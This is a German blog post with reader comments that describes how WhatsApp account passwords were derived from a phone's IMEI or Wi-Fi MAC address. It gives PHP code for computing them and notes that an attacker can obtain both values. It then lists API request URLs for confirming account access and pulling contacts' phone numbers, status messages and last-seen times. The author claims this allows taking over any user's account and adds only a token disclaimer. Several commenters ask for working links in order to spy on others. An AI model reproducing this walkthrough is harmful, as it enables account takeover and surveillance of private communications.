whatsapp_icon_vector (1)

Die Sicherheit von WhatsApp ist für’n Arsch (“heute Hacken wir WhatsApp über die WhatsApp API”)

WhatsApp, der extrem beliebte Instant-Messaging-Dienst, über den pro Tag über 1 Billion eine Milliarde Nachrichten versendet werden, hat ein gewaltiges Sicherheits-Problem. Und zwar nicht das Problem, von dem man schon vor einigen Monaten gehört hat. Darüber möchte ich im folgenden Artikel schreiben.

Die Verschlüsselung von WhatsApp

Seit August diesen Jahres ist klar geworden, das WhatsApp die Nachrichten seiner Nutzer nicht verschlüsselt überträgt. Wenn man sich in einem öffentlichen W-Lan aufhält und über dies Nachrichten mittels WhatsApp verschickt, können andere Leute ein- und ausgehende Nachrichten und Dateien mitlesen und mitscheinden. Als dies an die Öffentlichkeit kam, versicherte man seitens WhatsApp die Nachrichten in Zukunft zu verschlüsseln – allerdings ohne Details über das eingesetzte Verschlüsselungsverfahren zu nennen. Inzwischen ist klar: die eingesetzte Verschlüsselung wurde geknackt.

- Werbung in eigener Sache -
Neuer Prepaid-Anbieter: allNet-Flat, 500MB Traffic bis Drosselung im Vodafone-Netz für gerade mal 10 Euro / Monat! Und die Rufnummer kann auch mitgenommen werden. Wie das geht? ABCHECKEN!

Authentifizierung mit den WhatsApp-Servern

Die Klient-Authentifizierung WhatsApp’s ist ein Disaster. Unter Android ist das Passwort ein einfacher Hash der umgedrehten IMEI-Nummer:

$myImei = "112222223333334"; // Beispiels-IMEI

// die umgedrehten (strrev()) und mit einem MD5 
// gezogenem Hash (md5()) IMEI ergibt unter Android das Passwort.
$androidWhatsAppPassword = md5(strrev($myImei));

Aber auch auf dem iPhone wird interessant verschlüsselt:

$myWlanMAC = "AA:BB:CC:DD:EE:FF"; // Beispiels-WLAN-Mac-Adresse
$iphoneWhatsAppPassword = md5($myWlanMAC.$myWlanMAC); // ..doppelt genommen ergibt mit MD5 das Passwort

Der Benutzername ist in beiden Beispielen die Handynummer – ein Attackierer kennt diese wahrscheinlich. Und IMEI und Mac-Adresse? Die IMEI kann mit der einfachen Eingabe von *#06# im Handy angezeigt werden. Die Mac-Adresse wird mit allgemein bekannten Sniffer-Tools in 5 Minuten ausgelesen. Und mit diesen einfachen Schritten habe ich das Werkzeug, den WhatsApp Account eines jeden Nutzers zu übernehmen und alles mitzulesen. [Wichtige Hinweisnote: du darfst es nicht ausführen - es ist verboten. Das heißt: du darfst keine WhatsApp-Accounts hacken. Dieser Artikel ist nur als Information zu schulischen Zwecken gedacht.]

Es gibt ein paar klasse Leute, die das Prinzip des Reverse Engineering verstanden und praktiziert haben und uns einen OpenSource WhatsApp Klienten zur Verfügung stellen, der – in PHP geschrieben – auf https://github.com/venomous0x/WhatsAPI zum freien Download steht.

Hast du auf deinem Smartphone (noch) WhatsApp installiert? Dann kannst du es selbst einmal in meinem kleinen WhatsApp-Passwort-Generator testen. Hast du dein Passwort generiert, kannst du den folgenden Link mit deinen Variablen aufrufen:

https://r.whatsapp.net/v1/exist.php?cc=$countryCode&in=$phoneNumber&udid=$password

Ersetze dabei $countrycode durch deine Ländervorwahl (in Deutschland 49), $phoneNumber durch deine Handynummer (ohne die anführende 0, sprich bei 0174… ist $phoneNumber einfach 174…) und $password durch dein generiertes Passwort. Wenn du eine folgende XML-Antwort zurückbekommst…

<?xml version="1.0" encoding="UTF-8"?>
<exist>
  <response status="ok" result="xxxxxxxxxxx"/>
</exist>

…hast du es geschafft und bist praktisch “drin”. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.

Mit dem folgenden Request ($friendX ist übrigens die Nummer deines WhatsApp-Freundes – so können auch ohne einen weiteren Request Informationen zu zig Nummern geholt werden)…

https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3 (...)

…bekommen wir ein folgendes XML-Dokument zurück:

<plist version="1.0">
  <array>
    <dict>
      <key>P</key>
      <string>+49174xxxx</string>
      <key>T</key>
      <integer>17423368</integer>
      <key>S</key>
      <string>Kämme gerade meine Haare.</string>
      <key>JID</key>
      <string>0174xxxx</string>
    </dict>
  </array>
</plist>

Dabei ist wohl der Parameter P die Handynummer des Benutzers, T (time?) die Uptime des Benutzers (“Wann das letzte mal online?”), S die momentane Statusnachricht des Benutzers (meine – hööhöö :D ) und JID ist die Jabber-ID.
Mit der oben angesprochenen WhatsApp-PHP-Api können zudem Nachrichten und mehr verschickt werden.

Und jetzt?

Erst einmal kein WhatsApp benutzen – bitte. Zwar bin ich auch nicht unbedingt ein Fan davon, jeglichen Nachrichten-Quatsch per Facebook-Messages abzuwickeln, imho ist es aber im Moment die bessere Wahl – zumindest so lange bis WhatsAPP die Sicherheitslücken behoben hat und die Passwörter seiner Benutzer richtig verschlüsselt.

Über den Author

Franky Franky arbeitet, studiert, programmiert, schreibt Facebook-, Android- und iPhone-Apps, hat viele bunte Ideen zum Geld verdienen, setzt Designs um, hostet Websiten und ist dabei eigentlich noch recht sportlich.. [Memo an mich selbst: das muss hier unbedingt noch bearbeitet werden!!]

flattr this!

20 Gedanken zu „Die Sicherheit von WhatsApp ist für’n Arsch (“heute Hacken wir WhatsApp über die WhatsApp API”)

  1. Johannes

    Kurze Korrektur: “one billion” im englischen entspricht “einer Milliarde” im Deutschen. Ein Fehler, der gerne und oft gemacht wird.

    Antworten
  2. Planlos

    Funktioniert das noch?
    Muss ich es über ein smartphone machen oder geht es über den PC?
    Merkt jemand das man online ist?
    Muss ich unbedingt im gleichen WLAN sein?

    Antworten
  3. Dein Name

    also ich erhalte: status ok sowie die nr.

    wie aber gehts danach weiter?

    “…hast du es geschafft und bist praktisch „drin“. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.”

    gehe mal davon aus, dass das via programm nur möglich ist. kann allerdings kein link bzw. download finden.
    wäre super nett, wenn man jemand kurz helfen könnte!!!

    danke!

    Antworten
  4. Pingback: Umstieg von WhatsApp auf Hike und warum das nicht klappen wird - Franky

  5. Pingback: Sicherheit und WhatsApp | Linux Tagebuch

  6. Jasmin

    hallo franky

    wie kann ich direkten kontakt zu dir aufnehmen?
    es ist äusserst wichtig und dringend für mich…für dich wird es sehr positiv sein!!…
    besten dank!
    lg, jasmin

    Antworten
    1. Jacky

      Hi franky! Gibt es schon einen neuen link der funktioniert für whats app?dieser hier funktioniert leider nicht mehr und ich brauche den wirklich sehr sehr sehr dringend, geht um etwas wichtiges! Bitte um Antwort! Freundliche Grüße Jacky

      Antworten
  7. gina

    Hey franky bin gerade total aufgelöst auf deine seite gestoßen , es ist wahrscheinlich eher unsinn hier etwas zu posten da du dich mit sicherheit eh nicht bei den ganzen leuten melden kannst … ich versuch es einfach wär super wenn du genie dich mal melden würdest lg ..

    Antworten
  8. nicnic

    Oh Mann alle auf’n Spionagefilm. :-/ Mädels des is der falsche Ort hier f euch. In erster Linie sollte die Info zum eigenen Schutz sein u um seine eigene PRIVATSPHÄRE zu bewahren..und nicht um Leute auszuspionieren,egal um was es geht..ES IST PRIVATSPHÄRE. Und unter anderem eine Straftat diese zu verletzen…

    Antworten

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>